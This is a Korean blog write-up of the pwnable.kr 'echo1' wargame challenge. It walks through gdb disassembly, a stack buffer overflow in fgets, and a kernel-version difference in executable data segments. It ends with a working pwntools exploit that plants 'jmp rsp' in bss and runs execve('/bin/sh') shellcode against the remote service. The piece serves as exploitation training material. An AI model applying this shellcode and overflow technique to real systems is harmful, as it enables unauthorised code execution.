해설
Pwn this echo service.
이 문제는 다시 정리하면서 굉장히 고생했던 문제이다.
문제에서 제공하는 echo1 바이너리를 실행 시켜보면 처음에 이름(<input_name>)을 물어보고 echo type을 선택할 수 있는데, echo1 문제는 1번인 BOF echo만 활성화 되어있다. BOF echo를 선택할 경우 hello <input_name>이라는 출력과 함께 사용자로부터 입력을 받고, goodbye <input_name>이라는 메시지와 함께 echo type을 선택하는 부분으로 넘어간다.
gdb로 echo1의 main 함수, echo1 함수, get_input 함수 코드를 확인해 보면 다음과 같다.
Dump of assembler code for function main:
0x00000000004008b1 <+0>: push rbp
0x00000000004008b2 <+1>: mov rbp,rsp
0x00000000004008b5 <+4>: sub rsp,0x30
0x00000000004008b9 <+8>: mov rax,QWORD PTR [rip+0x2017a0] # 0x602060 <stdout@@GLIBC_2.2.5>
0x00000000004008c0 <+15>: mov ecx,0x0
0x00000000004008c5 <+20>: mov edx,0x2
0x00000000004008ca <+25>: mov esi,0x0
0x00000000004008cf <+30>: mov rdi,rax
0x00000000004008d2 <+33>: call 0x400690 <setvbuf@plt>
0x00000000004008d7 <+38>: mov rax,QWORD PTR [rip+0x20178a] # 0x602068 <stdin@@GLIBC_2.2.5>
0x00000000004008de <+45>: mov ecx,0x0
0x00000000004008e3 <+50>: mov edx,0x1
0x00000000004008e8 <+55>: mov esi,0x0
0x00000000004008ed <+60>: mov rdi,rax
0x00000000004008f0 <+63>: call 0x400690 <setvbuf@plt>
0x00000000004008f5 <+68>: mov edi,0x28
0x00000000004008fa <+73>: call 0x400680 <malloc@plt>
0x00000000004008ff <+78>: mov QWORD PTR [rip+0x201792],rax # 0x602098 <o>
0x0000000000400906 <+85>: mov rax,QWORD PTR [rip+0x20178b] # 0x602098 <o>
0x000000000040090d <+92>: mov QWORD PTR [rax+0x18],0x4007c0
0x0000000000400915 <+100>: mov rax,QWORD PTR [rip+0x20177c] # 0x602098 <o>
0x000000000040091c <+107>: mov QWORD PTR [rax+0x20],0x4007ec
0x0000000000400924 <+115>: mov eax,0x400ba4
0x0000000000400929 <+120>: mov rdi,rax
0x000000000040092c <+123>: mov eax,0x0
0x0000000000400931 <+128>: call 0x400640 <printf@plt>
0x0000000000400936 <+133>: mov eax,0x400bbe
0x000000000040093b <+138>: lea rdx,[rbp-0x20]
0x000000000040093f <+142>: mov rsi,rdx
0x0000000000400942 <+145>: mov rdi,rax
0x0000000000400945 <+148>: mov eax,0x0
0x000000000040094a <+153>: call 0x4006a0 <__isoc99_scanf@plt>
0x000000000040094f <+158>: mov rax,QWORD PTR [rip+0x201742] # 0x602098 <o>
0x0000000000400956 <+165>: lea rdx,[rbp-0x20]
0x000000000040095a <+169>: mov rcx,QWORD PTR [rdx]
0x000000000040095d <+172>: mov QWORD PTR [rax],rcx
0x0000000000400960 <+175>: mov rcx,QWORD PTR [rdx+0x8]
0x0000000000400964 <+179>: mov QWORD PTR [rax+0x8],rcx
0x0000000000400968 <+183>: mov rdx,QWORD PTR [rdx+0x10]
0x000000000040096c <+187>: mov QWORD PTR [rax+0x10],rdx
0x0000000000400970 <+191>: lea rax,[rbp-0x20]
0x0000000000400974 <+195>: mov eax,DWORD PTR [rax]
0x0000000000400976 <+197>: mov DWORD PTR [rip+0x201724],eax # 0x6020a0 <id>
0x000000000040097c <+203>: call 0x400670 <getchar@plt>
0x0000000000400981 <+208>: mov QWORD PTR [rip+0x2016f4],0x400818 # 0x602080 <func>
0x000000000040098c <+219>: mov QWORD PTR [rip+0x2016f1],0x400872 # 0x602088 <func+8>
0x0000000000400997 <+230>: mov QWORD PTR [rip+0x2016ee],0x400887 # 0x602090 <func+16>
0x00000000004009a2 <+241>: mov DWORD PTR [rbp-0x24],0x0
0x00000000004009a9 <+248>: mov edi,0x400bc3
0x00000000004009ae <+253>: call 0x400630 <puts@plt>
0x00000000004009b3 <+258>: mov edi,0x400bd9
0x00000000004009b8 <+263>: call 0x400630 <puts@plt>
0x00000000004009bd <+268>: mov edi,0x400be9
0x00000000004009c2 <+273>: call 0x400630 <puts@plt>
0x00000000004009c7 <+278>: mov edi,0x400bf9
0x00000000004009cc <+283>: call 0x400630 <puts@plt>
0x00000000004009d1 <+288>: mov edi,0x400c09
0x00000000004009d6 <+293>: call 0x400630 <puts@plt>
0x00000000004009db <+298>: mov eax,0x400c15
0x00000000004009e0 <+303>: mov rdi,rax
0x00000000004009e3 <+306>: mov eax,0x0
0x00000000004009e8 <+311>: call 0x400640 <printf@plt>
0x00000000004009ed <+316>: mov eax,0x400c18
0x00000000004009f2 <+321>: lea rdx,[rbp-0x24]
0x00000000004009f6 <+325>: mov rsi,rdx
0x00000000004009f9 <+328>: mov rdi,rax
0x00000000004009fc <+331>: mov eax,0x0
0x0000000000400a01 <+336>: call 0x4006a0 <__isoc99_scanf@plt>
0x0000000000400a06 <+341>: call 0x400670 <getchar@plt>
0x0000000000400a0b <+346>: mov eax,DWORD PTR [rbp-0x24]
0x0000000000400a0e <+349>: cmp eax,0x3
0x0000000000400a11 <+352>: jbe 0x400a55 <main+420>
0x0000000000400a13 <+354>: mov eax,DWORD PTR [rbp-0x24]
0x0000000000400a16 <+357>: cmp eax,0x4
0x0000000000400a19 <+360>: jne 0x400a49 <main+408>
0x0000000000400a1b <+362>: mov eax,0x0
0x0000000000400a20 <+367>: call 0x40089c <cleanup>
0x0000000000400a25 <+372>: mov eax,0x400c20
0x0000000000400a2a <+377>: mov rdi,rax
0x0000000000400a2d <+380>: mov eax,0x0
0x0000000000400a32 <+385>: call 0x400640 <printf@plt>
0x0000000000400a37 <+390>: call 0x400670 <getchar@plt>
0x0000000000400a3c <+395>: mov DWORD PTR [rbp-0x24],eax
0x0000000000400a3f <+398>: mov eax,DWORD PTR [rbp-0x24]
0x0000000000400a42 <+401>: cmp eax,0x79
0x0000000000400a45 <+404>: jne 0x400a71 <main+448>
0x0000000000400a47 <+406>: jmp 0x400a77 <main+454>
0x0000000000400a49 <+408>: mov edi,0x400c45
0x0000000000400a4e <+413>: call 0x400630 <puts@plt>
0x0000000000400a53 <+418>: jmp 0x400a72 <main+449>
0x0000000000400a55 <+420>: mov eax,DWORD PTR [rbp-0x24]
0x0000000000400a58 <+423>: sub eax,0x1
0x0000000000400a5b <+426>: mov eax,eax
0x0000000000400a5d <+428>: mov rdx,QWORD PTR [rax*8+0x602080]
0x0000000000400a65 <+436>: mov eax,0x0
0x0000000000400a6a <+441>: call rdx
0x0000000000400a6c <+443>: jmp 0x4009a9 <main+248>
0x0000000000400a71 <+448>: nop
0x0000000000400a72 <+449>: jmp 0x4009a9 <main+248>
0x0000000000400a77 <+454>: mov edi,0x400c52
0x0000000000400a7c <+459>: call 0x400630 <puts@plt>
0x0000000000400a81 <+464>: mov eax,0x0
0x0000000000400a86 <+469>: leave
0x0000000000400a87 <+470>: ret
우선 main에서는 앞서 실행 시 확인했듯이 scanf로 rbp-0x20에 입력을 받고, 입력 받은 값을 0x602098에 저장된 힙 메모리에 0x18바이트만큼 옮긴다. 그 후 입력 받은 값중 앞의 4바이트를 짤라서 0x6020a0(id)라는 부분에 저장한다. 이 부분은 bss 영역으로, 스태틱 변수가 저장되는 곳이다. 그 후 실행흐름에 따라 echo1 함수를 실행하게 될텐데 echo1 함수를 보자.
Dump of assembler code for function echo1:
0x0000000000400818 <+0>: push rbp
0x0000000000400819 <+1>: mov rbp,rsp
0x000000000040081c <+4>: sub rsp,0x20
0x0000000000400820 <+8>: mov rax,QWORD PTR [rip+0x201871] # 0x602098 <o>
0x0000000000400827 <+15>: mov rdx,QWORD PTR [rax+0x18]
0x000000000040082b <+19>: mov rax,QWORD PTR [rip+0x201866] # 0x602098 <o>
0x0000000000400832 <+26>: mov rdi,rax
0x0000000000400835 <+29>: call rdx
0x0000000000400837 <+31>: lea rax,[rbp-0x20]
0x000000000040083b <+35>: mov esi,0x80
0x0000000000400840 <+40>: mov rdi,rax
0x0000000000400843 <+43>: call 0x400794 <get_input>
0x0000000000400848 <+48>: lea rax,[rbp-0x20]
0x000000000040084c <+52>: mov rdi,rax
0x000000000040084f <+55>: call 0x400630 <puts@plt>
0x0000000000400854 <+60>: mov rax,QWORD PTR [rip+0x20183d] # 0x602098 <o>
0x000000000040085b <+67>: mov rdx,QWORD PTR [rax+0x20]
0x000000000040085f <+71>: mov rax,QWORD PTR [rip+0x201832] # 0x602098 <o>
0x0000000000400866 <+78>: mov rdi,rax
0x0000000000400869 <+81>: call rdx
0x000000000040086b <+83>: mov eax,0x0
0x0000000000400870 <+88>: leave
0x0000000000400871 <+89>: ret
echo1 함수에서는 call rdx, call get_input, call rdx 크게 세부분으로 나뉘는데, 앞의 call rdx는 greetings 함수, 뒤의 call rdx는 byebye 함수로 시작 인사와 끝 인사를 출력하고, 가운데 call get_input 함수에서 입력을 받는다. get_input 함수는 인자로 {rdi: rbp-0x20, rsi: 0x80}을 받는 것을 확인할 수 있다. get_input 함수를 보자.
Dump of assembler code for function get_input:
0x0000000000400794 <+0>: push rbp
0x0000000000400795 <+1>: mov rbp,rsp
0x0000000000400798 <+4>: sub rsp,0x10
0x000000000040079c <+8>: mov QWORD PTR [rbp-0x8],rdi
0x00000000004007a0 <+12>: mov DWORD PTR [rbp-0xc],esi
0x00000000004007a3 <+15>: mov rax,QWORD PTR [rip+0x2018be] # 0x602068 <stdin@@GLIBC_2.2.5>
0x00000000004007aa <+22>: mov rdx,rax
0x00000000004007ad <+25>: mov ecx,DWORD PTR [rbp-0xc]
0x00000000004007b0 <+28>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004007b4 <+32>: mov esi,ecx
0x00000000004007b6 <+34>: mov rdi,rax
0x00000000004007b9 <+37>: call 0x400660 <fgets@plt>
0x00000000004007be <+42>: leave
0x00000000004007bf <+43>: ret
End of assembler dump.
get_input 함수에서는 fgets로 입력을 받는데 넘겨받은 인자를 그대로 fgets의 인자로 사용한다. 즉 여기서는 fgets((echo1 스택 프레임에서의)rbp-0x20, 0x80, stdin)이 실행 되는것이다. 당연하게도 여기서 bof가 발생한다.
자 그럼 버그를 찾았으니 exploit할 방법을 생각해보자...라고 하면서 생각 하기를 시작했는데 이 시점에서 어이없는(?) 장애물이 발생했다. 예전에 풀었던 문제를 다시 정리하는 과정에서 문제에 대한 기억이 하나도 없기 때문에 새롭게 문제를 푸는거나 마찬가지인 상황이었는데, 여기서 공격 기법이 잘 떠오르질 않았다. 아니 안 떠오를 수 밖에 없었다... bof가 발생한다는 뜻은 echo1 프레임에서 main으로 리턴하는 부분의 리턴 주소를 바꿀 수 있다는 말이 된다. 그리고 이렇게 실행 흐름을 조작해서 내가 원하는 코드를 실행하려면 지금 현재 내 수준에서는 생각할만한 방법이 크게는
i) 쉘코드를 실행 가능한 영역 어딘가에 넣어놓고 그쪽으로 뛴다.
ii) got overwrite
iii) RTL (혹은 ROP)
정도이고, 실제로 생각의 흐름도 이 순서대로 진행을 하는 편이기 떄문에, i번 방법을 실행하고자 메모리맵의 실행 가능한 영역을 보기 위해 vmmap으로 확인을 했는데...
??? 실행 가능한 영역이 코드 섹션 이외에 스택밖에 없다..? 쉘코드를 스택에 넣고 스택으로 뛰어야 된다는 소리인데, 실제로 쉘코드를 스택에 넣는것까지는 매우 쉽지만 스택으로 뛰려면 스택 주소 leak이 있거나, jmp rsp 같은 명령어를 이용해야한다. 스택 leak 같은 경우에는 실제로 echo1 함수의 0x400848 부분부터 그 뒤의 puts 함수가 실행되는 과정까지를 이용하면 leak을 얻을 수 있긴한데, 스택 주소를 leak 할 수 있는지는 잘 모르겠다. jmp rsp 명령어도 해당 명령어가 실행될 실행 가능한 영역이 있어야 하는데, 그게 스택뿐이니.. 가능하지가 않았다. 여기서 뭔가 잘못되었음을 일찍 깨달았어야 했는데...
그래서 ii번 방법과 iii번 방법을 고민하기 시작했는데, ii번 방법을 생각해보면 쉘을 따려면 마찬가지로 쉘코드를 실행 가능한 영역에 넣어놓고, got overwrite을 이용해 그쪽으로 뛰어야하니 사실상 i번하고 다를바 없어지게 된다. iii번 방법의 경우에는 실제로 될듯말듯한 방법이었다. RTL로 system("/bin/sh")를 실행시키는 것을 목표로 했다. 처음 echo1 실행 시 이름을 입력받는 부분에 "/bin/sh" 문자열을 넣을 수 있고, libc leak과 heap leak은 앞서 말한 0x400848 부분을 활용하여 얻을 수 있고, bss와 heap을 덮어쓰는건 0x400837 부분을 활용하면 되고, heap을 덮어써서 greetings 함수를 system 함수의 주소로 바꾸고 나면 자연스럽게 rdi에 "/bin/sh" 문자열이 들어가 있기 때문에 실제로 이 방법은 되게 그럴듯 해보였으나... bof로 rbp를 조작해서 bss 영역을 덮어쓰는 과정에서 스택 프레임이 bss 영역으로 바뀌게 되고, 이 때 puts 함수가 실행되면 스택이 쓰기 가능한 영역을 벗어나버려서 세그폴트가 발생했다. 부분적으로는 heap leak하고 libc leak은 얻을 수 있었으나 그 이후의 진행이 되지않았다.
결국에는 이 방법도 안되는거였다.(내가 못한걸 수도 있지만) 여기서 하루를 날리고 그 다음날 노트북이 없어서 pwnable.kr 서버에 ssh로 붙어서 문제를 보고 있었는데 화들짝 놀란것이...
????????????? 뭔가 다르다..? 뭔가 이상하다..? 왜 데이터 섹션에 eXecutable 플래그가 설정되어있지..?
여기서 멘붕에 빠져버렸는데, 왜 kali에서와 pwnable.kr 서버 환경에서의 메모리맵이 다른지 그 이유를 알 수가 없었다.
상식적으로 생각해보면 데이터 섹션은 non executable인게 맞는데, pwnable.kr 서버에서 저렇게 보인다는 것은 저게 실제로 문제에서 의도된 환경이라는 것인가..?싶어서 데이터 세그먼트를 executable로 만드는 방법을 찾아보았다.
마침 딱 첫 링크가 내가 원하던 답이었는데, 해당 링크를 들어가보면 gcc의 -zexecstack 이라는 flag가 stack뿐만 아니라 데이터 세그먼트도 executable로 만들어준다는 설명이었다. 그럼 추측해보면 echo1 바이너리는 -zexecstack flag로 컴파일이 되었을 것인데, 그럼 왜 kali에서는 여전히 데이터 섹션이 non executable 이었을까? 구글갓에게 물어보니 다음과 같은 글을 발견했다.
아차차.. 결국엔 커널 버전에 따라 zexecstack의 동작이 달라진다는 것이고, 내 kali는 무려 linux 5.9버전이었다.. 발전된 기술 덕분에 문제 풀이를 해메게 된 것이었다..
그럼 다시 i번 방법으로 돌아가보자. 데이터 섹션, 특히 bss가 실행 가능한 영역이라는 것은 아주 귀중한 정보인데, 왜냐하면 bss 영역은 주소가 항상 고정되기 때문이다. 즉 bss 영역에 쉘코드를 넣고 그쪽으로 뛰는 방법을 쓰면 참 좋겠지만 문제는 bss에 입력을 할 방법은 id 4바이트 뿐이라는 것이다. 이 때 쓸 수 있는 방법은 여기다가 jmp rsp 명령어를 넣고 뛴다음, 조작한 리턴 주소 밑에 쉘코드를 넣는것이다. 그러면 조작된 스택 내용은 다음과 같아진다.
그러면 payload 구성은, asm("jmp rsp") + 1 + bof가 된다. exploit은 다음과 같다.
from pwn import *
context(arch='amd64', os='linux')
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x48\x89\xe7\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = asm("jmp rsp") + "\n"
payload += str(1) + "\n"
payload += "a"*0x28 + p64(0x6020a0) + shellcode
#p = process("./echo1")
p = remote("pwnable.kr", 9010)
print(p.recvuntil(":"))
p.sendline(payload)
print(p.recvuntil("bye"))
p.interactive()
문제를 다시 정리하면서 출제된 환경을 최대한 맞춰서 분석을 해야한다는 것을 뼈저리게 느꼈다... vm을 하나 더 파야겠다
'pwn' 카테고리의 다른 글
pwnable.kr - brain fuck (0) | 2021.03.08 |
---|---|
pwnable.kr - tiny_easy (0) | 2021.02.25 |
pwnable.kr - fsb (0) | 2021.02.19 |
pwnable.kr - horcruxes (0) | 2020.08.04 |
pwnable.kr - blukat (0) | 2020.08.04 |